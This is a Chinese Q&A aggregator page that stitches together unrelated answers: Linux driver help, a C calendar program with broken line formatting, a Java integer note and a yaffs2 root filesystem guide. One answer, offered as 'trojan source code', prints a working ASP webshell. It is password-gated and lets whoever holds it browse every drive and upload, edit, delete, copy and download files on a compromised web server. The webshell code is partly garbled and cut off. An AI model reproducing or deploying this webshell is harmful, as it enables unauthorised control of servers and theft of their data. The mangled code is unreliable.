當前位置:首頁 » 操作系統 » 31源碼

31源碼

發布時間: 2022-10-23 19:25:21

linux裝無線網卡驅動問題,版本2.6.31-cd1,好像沒裝內核源碼,再怎麼繼續啊

又是驅動問題,先把原先的無線驅動禁止掉 然後把你下載的驅動安裝 重啟 即可!

❷ 求c語言編日歷源代碼的詳細說明

/*
稍微改了下對齊格式,加了注釋
*/
/*
1、閏年的演算法:
如果某年能被4整除但不能被100整除,
或者能被400整除,
則該年是閏年.
用表達式表示就是
(year
%4
==
0
&&
year%100
!=
0)
||
(year%400
==
0)
2、計算某一天是星期幾:
已知1900年的1月1號為星期一,
然後就可以用某一天和1900年的1月1號相差的天數對7取余來求星期,
本題是用的公元1年的1月1號作為基準
*/
#include
<stdio.h>
#include<conio.h>
#include<stdlib.h>
int
IsLeapYear(int);
//函數定義
void
main()
{
int
i;
int
day;
int
year;
int
temp;
int
temp_i;
long
int
Year_days
=
0;
int
Year_Start
=
1;
int
Per_Year_Days;
int
month_day[]={31,28,31,30,31,30,31,31,30,31,30,31,29};
printf("Please
enter
the
year:
");
scanf("%d",&year);
//輸入年份
while(Year_Start
<
year)
//從公元1年開始執行while循環,
該年的一月一號為星期一
{
if(
IsLeapYear(
Year_Start
)
)
Per_Year_Days
=
366;
//如果是閏年,
則一年有366天
else
Per_Year_Days
=
365;
//如果不是閏年,
則一年有365天
Year_days
=
Year_days
+
Per_Year_Days;
//Year_days為從公元1年到輸入年份的前一年的天數的總和
Year_Start++;
}
for(
temp
=
1;
temp
<=12;
temp++
)
//temp從1到12,
對應一年內12個月
{
switch(
temp
)
//用switch語句將temp和12個月對應起來
{
case
1:
printf("
January(%d)\n",year);
//一月
break;
case
2:
printf("
February(%d)\n",year);
//二月
break;
case
3:
printf("
March(%d)\n",year);
//三月
break;
case
4:
printf("
April(%d)\n",year);
//四月
break;
case
5:
printf("
May(%d)\n",year);
//五月
break;
case
6:
printf("
June(%d)\n",year);
//六月
break;
case
7:
printf("
July(%d)\n",year);
//七月
break;
case
8:
printf("
August(%d)\n",year);
//八月
break;
case
9:
printf("
September(%d)\n",year);
//九月
break;
case
10:
printf("
October(%d)\n",year);
//十月
break;
case
11:
printf("
November(%d)\n",year);
//十一月
break;
case
12:
printf("
December(%d)\n",year);
//十二月
break;
}
i
=
Year_days
%
7;
//每個星期有7天,
故用每年的天數對7取余
printf("Mon\tTue\tWed\tThu\tFri\tSat\tSun\n");
if(
i
!=
0
)
//如果余數不為零
for(
temp_i
=
0;
temp_i
<
i;
temp_i++)
printf("\t");
//則列印空格(這里用\t代替空格,
更加美觀),
空格數為i
day
=
1;
//初始化day為1,
為下面的while循環做准備
if(
IsLeapYear(year)
&&
temp
==
2)
//如果輸入的年份是閏年,
並且月份為2
while(
day
<=
month_day[12]
)
//day為一循環變數,
取值為1-365(閏年的話為1-366)
{
if(
day
>1
)
//如果天數大於一
if(
Year_days
%
7
==
0
)
//如果是星期日,
則換行
printf("\n");
if(
day
>=
10
)
printf("%d\t",day);
//列印天數+空格
else
printf("%d\t",day);
Year_days++;
day++;
}
else
//如果不滿足"輸入的年份是閏年,
並且月份為2"
while
(day
<=
month_day[temp-1])
{
if(
day
>
1
)
if(
Year_days
%
7
==
0
)
printf("\n");
if(
day
>=10
)
printf("%d\t",day);
else
printf("%d\t",day);
Year_days++;
day++;
}
printf("\n");
if(
getch()
==
'q'
)
//如果輸入為q,
則退出程序
exit(0);
}
getch();
//每按一次鍵,
列印一個月份
}
int
IsLeapYear(
int
year
)
{
//判斷是否是閏年,
是則返回1,
否則返回0
if
((year
%4
==
0)
&&
(year
%
100
!=
0)
||
(year
%
400
==
0)
)
return
1;
else
return
0;
}

java中int類型最小值的二進制原碼和補碼表示方式

反碼補碼的規則,對int最小值沒有用,最小值的源碼是1個1,31個0,反碼之後是32個1,直接變成-1了,補碼加1變成0

❹ 如何閱讀源代碼

《通用源碼閱讀指導書》易哥 寫的一本書

❺ C#原代碼可以學習的網站,有學習價值的都行的,謝了,

http://www.csdn.net/

❻ 木馬程序源碼

一個asp木馬:
<%@ LANGUAGE = VBScript.Encode codepage ="936" %>
<%Server.ScriptTimeOut=5000%>
<object runat=server id=oScript scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat=server id=oScriptNet scope=page classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat=server id=oFileSys scope=page classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
'on error resume next
dim Data_5xsoft
Class upload_5xsoft
dim objForm,objFile,Version
Public function Form(strForm)
strForm=lcase(strForm)
if not objForm.exists(strForm) then
Form=""
else
Form=objForm(strForm)
end if
end function

Public function File(strFile)
strFile=lcase(strFile)
if not objFile.exists(strFile) then
set File=new FileInfo
else
set File=objFile(strFile)
end if
end function

Private Sub Class_Initialize
dim RequestData,sStart,vbCrlf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,theFile
dim iFileSize,sFilePath,sFileType,sFormValue,sFileName
dim iFindStart,iFindEnd
dim iFormStart,iFormEnd,sFormName
Version="HTTP上傳程序 Version 2.0"
set objForm=Server.CreateObject("Scripting.Dictionary")
set objFile=Server.CreateObject("Scripting.Dictionary")
if Request.TotalBytes<1 then Exit Sub
set tStream = Server.CreateObject("adodb.stream")
set Data_5xsoft = Server.CreateObject("adodb.stream")
Data_5xsoft.Type = 1
Data_5xsoft.Mode =3
Data_5xsoft.Open
Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)
Data_5xsoft.Position=0
RequestData =Data_5xsoft.Read

iFormStart = 1
iFormEnd = LenB(RequestData)
vbCrlf = chrB(13) & chrB(10)
sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)
iStart = LenB (sStart)
iFormStart=iFormStart+iStart+1
while (iFormStart + 10) < iFormEnd
iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3
tStream.Type = 1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iFormStart
Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sInfo = tStream.ReadText
tStream.Close
iFormStart = InStrB(iInfoEnd,RequestData,sStart)
iFindStart = InStr(22,sInfo,"name=""",1)+6
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))
if InStr (45,sInfo,"filename=""",1) > 0 then
set theFile=new FileInfo
iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
iFindEnd = InStr(iFindStart,sInfo,"""",1)
sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileName=getFileName(sFileName)
theFile.FilePath=getFilePath(sFileName)
iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub

Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub

Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function

Private function GetFileName(FullPath)
If FullPath <> "" Then
GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
Else
GetFileName = ""
End If
End function
End Class

Class FileInfo
dim FormName,FileName,FilePath,FileSize,FileType,FileStart
Private Sub Class_Initialize
FileName = ""
FilePath = ""
FileSize = 0
FileStart= 0
FormName = ""
FileType = ""
End Sub

Public function SaveAs(FullPath)
dim dr,ErrorChar,i
SaveAs=true
if trim(fullpath)="" or FileStart=0 or FileName="" or right(fullpath,1)="/" then exit function
set dr=CreateObject("Adodb.Stream")
dr.Mode=3
dr.Type=1
dr.Open
Data_5xsoft.position=FileStart
Data_5xsoft.to dr,FileSize
dr.SaveToFile FullPath,2
dr.Close
set dr=nothing
SaveAs=false
end function
End Class
httpt = Request.ServerVariables("server_name")
rseb=Request.ServerVariables("SCRIPT_NAME")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if Epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body>
<%if request.form("password")<>"" then
response.write "Password Error!"
end if
%>

<table border="1" width="100%" height="89" bgcolor="#DFDFFF" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#F2F2F9" cellspacing="0">
<tr>
<td width="100%" height="31" bgcolor="#000080"><p align="center"><font color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="100%" height="46"><form method="POST" action="<%=rseb%>?q=<%=rseb%>">
<div align="center"><center><p>Enter Password:<input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset">
<input type="submit" value="OK!LOGIN" name="B1"
style="font-size: 9pt; border: thin outset"></p>
</center></div>
</form>
</td>
</tr>
</table>
</body>
</html>
<%end if%>

<%case "down.asp"
call downloadFile(request("path"))
function downloadFile(strFile)
strFilename = strFile
Response.Buffer = True
Response.Clear
set s = Server.CreateObject("adodb.stream")
s.Open
s.Type = 1
if not oFileSys.FileExists(strFilename) then
Response.Write("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = oFileSys.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename)
if err then
Response.Write("<h1>Error: </h1>" & err.Description & "<p>")
Response.End
end if
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite s.Read
Response.Flush
s.Close
Set s = Nothing
response.end
End Function
%>
<%case "list.asp"%>
<%
urlpath=server.urlencode(path)
if Request.Cookies("password")="7758521" then
dim cpath,lpath
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='" & rseb & "?q=list.asp&path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上級目錄</font></a><br><script language=vbscript>"
For Each x In theSubFolders
%>so "<%=lpath%>","<%=x.Name%>","<%=request("path")%>","<%=attrib%>"
<%
Next
%></script><%
end if
End Sub

Sub GetFile()
dim theFiles
if oFileSys.FolderExists(cpath)then
Set theFolder=oFileSys.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'><script language=vbscript>"
For Each x In theFiles
if Request("attrib")="true" then
showstring=x.Name
else
showstring=x.Name
end if
%>sf "<%=showstring%>","<%=x.size%>","<%=x.type%>","<%=x.Attributes%>","<%=x.DateLastModified%>","<%=lpath%>","<%=x.name%>","<%=attrib%>","<%=x.name%>"
<%
Next
end if
Response.write"</script></table>"
End Sub
%>
<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title><%=httpt%></title>
<style type="text/css">
<!--
table{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000FF}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000FF}
-->
</style>
</head>
<script language="JavaScript">
function crfile(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edit.asp&attrib=<%=request("attrib")%>&creat=yes&path=<%=lpath%>"+ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("<%=rseb%>?q=edir.asp&attrib=<%=request("attrib")%>&op=creat&path=<%=lpath%>"+ls);}
return false;
}
</script>
<script language="vbscript">
sub sf(showstring,size,type1,Attributes,DateLastModified,lpath,xname,attrib,name)
document.write "<tr style=""color: #000000; background-color: #FFefdf; text-decoration: blink; border: 1px solid #000080"" onMouseOver=""this.style.backgroundColor = '#FFCC00'"" onMouseOut=""this.style.backgroundColor = '#FFefdf'""><td width='50%'><font color='#FF8000'><font face=Wingdings>+</font></font><a href='"& urlpath & lpath & xName &"' target='_blank'><strong>" & showstring & "</strong></a></td><td width='20%' align='right'>" & size & "位元組</td><td width='30%'><a href='#' title='類型:" & type1 & chr(10) & "屬性:" & Attributes & chr(10) & "時間:" & DateLastModified &"'>屬性</a> <a href='<%=rseb%>?q=edit.asp&path=" & lpath & xName & "&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>編輯</a> <a href="&chr(34)&"javascript: rmdir1('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a> <a href='#' onclick=file('" & lpath & Name & "')><font color='#FF8000' ></font>復制</a> <a href='<%=rseb%>?q=down.asp&path=<%=cpath%>\"&xName&"&attrib=" & attrib &"' target='_blank' ><font color='#FF8000' ></font>下載</a></td></tr>"
end sub
sub so(lpath,xName,path,attrib)
document.write "<a href='<%=rseb%>?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'>└<font color='#FF8000'><font face=Wingdings>1</font></font> " & xName &"</a> <a href="&chr(34)&"javascript: rmdir('"& lpath & xName &"')"&chr(34)&"><font color='#FF8000' ></font>刪除</a><br>"
end sub

sub rmdir1(ls)
if confirm("你真的要刪除這個文件嗎!"&Chr(13)&Chr(10)&"文件為:"&ls) then
window.open("<%=rseb%>?q=edit.asp&path=" & ls & "&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub rmdir(ls)
if confirm("你真的要刪除這個目錄嗎!"&Chr(13)&Chr(10)&"目錄為:"&ls) then
window.open("<%=rseb%>?q=edir.asp&path="&ls&"&op=del&attrib=<%=request("attrib")%>")
end if
end sub

sub file(sfile)
dfile=InputBox("※文件復制※"&Chr(13)&Chr(10)&"源文件:"& sfile&Chr(13)&Chr(10)&"輸入目標文件的文件名:"&Chr(13)&Chr(10) &"[允許帶路徑,要根據你的當前路徑模式]")
dfile=trim(dfile)
attrib="<%=request("attrib")%>"
if dfile<>"" then
if InStr(dfile,":") or InStr(dfile,"/")=1 then
lp=""
if InStr(dfile,":") and attrib<>"true" then
alert "對不起,你在相對路徑模式下不能使用絕對路徑"&Chr(13)&Chr(10)&"錯誤路徑:["&dfile&"]"
exit sub
end if
else
lp="<%=lpath%>"
end if
window.open("<%=rseb%>?q=edit.asp&path="+sfile+"&op=&attrib="+attrib+"&dpath="+lp+dfile)
else
alert"您沒有輸入文件名!"
end If
end sub
</script>
<body>
<table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#FFFFFF" cellspacing="0">
<tr>
<td width="755" bgcolor="#000080" colspan="2" height="23"><p align="center"><font size="3"
color="#FFFFFF"><%=httpt%></font></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※換盤:<span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><%
For Each thing in oFileSys.Drives
Response.write "<font face=Wingdings>:</font><a href='" & rseb & "?q=list.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>"
NEXT
%> </span> 地址:
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※<%
if Request("attrib")="true" then
response.write "<a href='" & rseb & "?q=list.asp'>切到相對路徑</a>"
else
response.write "<a href='" & rseb & "?attrib=true&q=list.asp'>切到絕對路徑</a>"
end if
%> ※絕對:<span
style="background-color: rgb(255,255,255)"><%=cpath%></span></td>
</tr>
<tr>
<td width="751" bgcolor="#C0C0C0" colspan="2">※當前<font color="#FF8000"><font face=Wingdings>1</font></font>:<span style="background-color: rgb(255,255,255)"><%=lpath%></span> </td>
</tr><form name="form1" method="post" action="<%=rseb%>?q=upfile.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#C0C0C0" colspan="2" style="height: 20px">

編輯|
<input class="tx1" type="text" name="filename" size="20">
<input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)">
<input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)">
<input type="file" name="file1" class="tx1" style="width:100" value="">
<input type="text" name="filepath" class="tx1" style="width:100" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" class="tx" value="1">
<input class="tx1" type="submit" value="上傳">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=cmd.asp','_blank')" value="命令">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=test.asp','_blank')" value="配置">
<input class="tx1" type="button" onclick="window.open('<%=rseb%>?q=p.asp','_blank')" value="nfso">
</td>
</td>
</tr></form>
<tr>
<td width="169" valign="top" bgcolor="#C8E3FF"><%Call GetFolder()%>
</td>
<td width="582" valign="top" bgcolor="#FFefdf"><%Call GetFile()%>
</td>
</tr>
</table>
<%else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edit.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>編輯源代碼</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '讀文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile.Delete True
Response.write "<script>alert('刪除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = oFileSys.GetFile(whichfile)
thisfile. dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "復製成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>

<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相當於「另存為」</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="復原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if

%>
</body>
</html>
<%case "edir.asp"%>
<html>

<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目錄操作</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>

<body>
<% '讀文件
if Request.Cookies("password")="7758521" then

if request("op")="del" then

if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('刪除的目錄為:" & whichdir & "刪除成功!要刷新才能看到效果');window.close();</script>"

else

if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目錄為:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "請輸入要上傳至的目錄!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if

iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>

❼ 如何使linux內核2.6.31支持yaffs2文件系統

下面操作的前提是:內核支持nand flash
一. 下載yaffs2源碼,(我將源碼反正/opt目錄下),並解壓源碼,進入源碼目錄
# tar xzvf yaffs2.tar.gz
# cd yaffs2
二. 為內核添加yaffs2文件系統補丁,執行:
# ./patch-ker.sh c m /..../linux-2.6.31.1 <----c m後面接的是內核源碼所在的目錄
執行完後,在內核源碼fs目錄下就多了一個yaffs2目錄,同時Makefile和Kconfig文件也增加了對yaffs2的配置和編譯條件。
三. 配置內核對yaffs2的支持
這里的配置根據自己的需求,把不用的文件系統都去掉。
#make menuconfig
找到下面的配置:
File systems --->
DOS/FAT/NT Filesystems --->
<*> MSDOS fs support
<*> VFAT (Windows95) fs support
Miscellaneous filesystems --->
<*> YAFFS2 file system support
[*] Autoselect yaffs2 format
配置語言選項:
Native Language support --->
(iso8859-1) Default NLS Option
<*> Codepage 437(United States, Canada)
<*> Simplified Chinese charset(CP936, GB2312)
<*> NLS ISO8859-1 (Latin 1; Western European Language)
<*> NLS UTF-8
現在內核已經支持NandFlash和yaffs2文件系統,重新編譯內核:
#make zImage
將編譯好的內核燒入NandFlash後,再燒入yaffs2文件系統,就可以了。

四. 製作yaffs2根文件系統
1. 環境
(1) 交叉編譯器版本: arm-linux-gcc 4.3.3
(2) Linux環境:redhat enterprise 5.5 (2.6.18-194.el5)
(3) 開發板:TQ2440

2. 編譯busybox
(1) 獲取busybox源碼,放在/opt目錄下,解壓,進入busybox源碼目錄
#tar jxvf busybox-1.17.2.tar.bz2
#cd busybox-1.17.2
#vi Makefile
將164行改為CROSS_COMPILE = arm-linux-
將190行改為ARCH = arm
保存退出進入配置菜單
#make menuconfig 採用默認配置保存推出
#make
#make install
通過上面的步驟,在busybox-1.17.2的根目錄下出現了一個_install目錄,
在該目錄下又有三個目錄文件bin sbin usr和一個鏈接文件 linuxrc。

3. 創建根文件系統必要的目錄
(1)在/opt目錄下創建root_fs目錄
#mkdir root_fs
#cd root_fs
(2)將busybox-1.17.2的根目錄下_install中的bin sbin usr和linuxrc拷貝到root_fs
#cp -rf /opt/busybox-1.17.2/_install/* /opt/root_fs
(3)創建必要的目錄
#mkdir dev etc home lib mnt opt proc root sys tmp var
(4)創建必要的二級目錄
#mkdir usr/lib usr/share
#mkdir etc/rc.d
#mkdir var/lib var/lock var/run var/tmp

4. 創建必要的文件
(1) 獲取庫文件,(交叉編譯工具下的庫文件)到root_fs/lib目錄中
#cp -rf /opt/arm/4.3.3/arm-none-linux-gnueabi/libc/armv4t/lib/*so* lib -a
(2) 將主機etc目錄下的passwd、group、shadow文件拷貝到root_fs/etc目錄下
#cp -f /etc/passwd /etc/group /etc/shadow etc
將目錄/opt/busybox-1.17.2/examples/bootfloppy/etc下的所有文件拷貝到root_fs/etc下。
在這個目錄下有三個文件fstab, inittab, profile和一個目錄init.d,在目錄init.d中有一個文件rcS。
#cp -rf /opt/busybox-1.17.2/examples/bootfloppy/etc/* etc
在目錄etc下創建文件mdev.conf。mdev是?v的一個簡化版本,
我們可以通過文件mdev.conf自定義一些設備節點的名稱或鏈接來滿足特定的需要,但在此處讓它為空。
#touh etc/mdev.conf
(3)創建兩個設備文件dev/console dev/null。
在linux內核源碼文件init/main.c中有打開設備文件dev/console的操作如下:
static noinline int init_post(void)
__releases(kernel_lock)
{
………………………………
if (sys_open((const char __user *) "/dev/console", O_RDWR, 0) < 0)
printk(KERN_WARNING "Warning: unable to open an initial console.\n");
………………………………
}
內核啟動執行到這里時mdev還沒有構建dev目錄,如果沒有創建設備文件dev/console就將會列印警告
Warning: unable to open an initial console。
在內核啟動的過程中要將產生的一些垃圾信息丟棄就需要空設備dev/null。
#mknod dev/console c 5 1
#mknod dev/null c 1 3

5. 修改文件
在啟動過程中bootloader會傳遞參數init=/linuxrc給內核的main()函數,所以在文件系統被掛載後,
運行的第一個程序是linuxrc,而linuxrc是一個指向/bin/busybox的鏈接文件,也就是說文件系統被掛在後運行的第一個程序是busybox。
Busybox首先會解析文件/etc/inittab,這個文件中存放的是系統的配置信息,這些配置信息指明了接下來將要啟動那些程序。
-------------------------------------------------------------------------------------------------------
(1)修改文件etc/inittab如下
::sysinit:/etc/init.d/rcS
s3c2410_serial0::askfirst:-/bin/sh
::ctrlaltdel:/sbin/reboot
::shutdown:/bin/umount -a -r

說明:
/etc/inittab 文件中每個條目用來定義一個子進程,並確定它的啟動方法,格式如下
:::
:表示這個進程要使用的控制台(即標准輸入、標准輸出、標准錯誤設備)。如果省 略,則使用與init進程一樣的控制台。
:對於Busybox init程序,這個欄位滑意義,可以省略。
:表示init程序如何控制這個子進程,
: 要執行的程序,它可以是可執行程序,也可以是腳本

文件etc/inittab配置條目說明如下:
::sysinit:/etc/init.d/rcS
啟動系統初始化文件/etc/init.d/rcS。欄位sysinit表明文件/etc/init.d/rcS在系統啟動後最先執行,
並且只執行一次,init進程等待它結束才繼續執行其它動作。(腳本文件名一般為rc,後綴S代表單用戶運行級別腳本)
tq2440_serial0::askfirst:-/bin/sh
在串口s3c2410_serial0上啟動askfirst動作的shell。
S3C2410的串口名在/dev下是s3c2410_serialx。askfirst表明init進程先輸出 「Please press Enter to actvie this console」,
等用戶輸入回車鍵之後才啟動-/bin/sh。
::ctrlaltdel:/sbin/reboot
當按下Ctrl+Alt+Delete組合鍵時,init重啟執行程序。欄位ctrlaltdel表明當按下Ctrl+Alt+Delete組合鍵時,執行相應的進程。
::shutdown:/bin/umount -a -r
告訴init在關機時運行umount命令卸載所有的文件系統,如果卸載失敗,試圖以只讀方式重新掛載。
欄位shutdown表明在重啟關閉系統命令時執行相應進程。 ------------------------------------------------------------------------------------------------------------------------------
(2)當解析完文件etc/inittab後就將啟動這些進程,首先要執行的是啟動腳本etc/init.d/rcS。
修改文件etc/init.d/rcS如下:

#! /bin/sh

PATH=/sbin:/bin:/usr/sbin:/usr/bin

runlevel=S

prevlevel=N

umask 022

export PATH runlevel prevlevel

/bin/hostname CPEmbed

/sbin/ifconfig lo 127.0.0.1 up

/sbin/ifconfig eth0 192.168.1.8 netmask 255.255.255.0

/sbin/route add default gw 192.168.1.1 eth0

echo "---------------mount all-----------------"

/bin/mount -a

mkdir /dev/pts

/bin/mknod /dev/pts/0 c 136 0

/bin/mknod /dev/pts/1 c 136 1

/bin/mknod /dev/pts/2 c 136 2

/bin/mknod /dev/pts/3 c 136 3

/bin/mknod /dev/pts/4 c 136 4

/bin/mknod /dev/pts/5 c 136 5

/bin/mount -t devpts devpts /dev/pts

echo /sbin/mdev>/proc/sys/kernel/hotplug

mdev -s

/usr/sbin/telnetd &

/usr/sbin/vsftpd &

echo "******************************************"

echo "******************************************"

echo "** Kernel version: linux-2.6.31.1 **"

echo "** Date: 2012.04.12 **"

echo "******************************************"
說明如下:
#! /bin/sh 用busybox的shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin //shell命令的搜索路徑
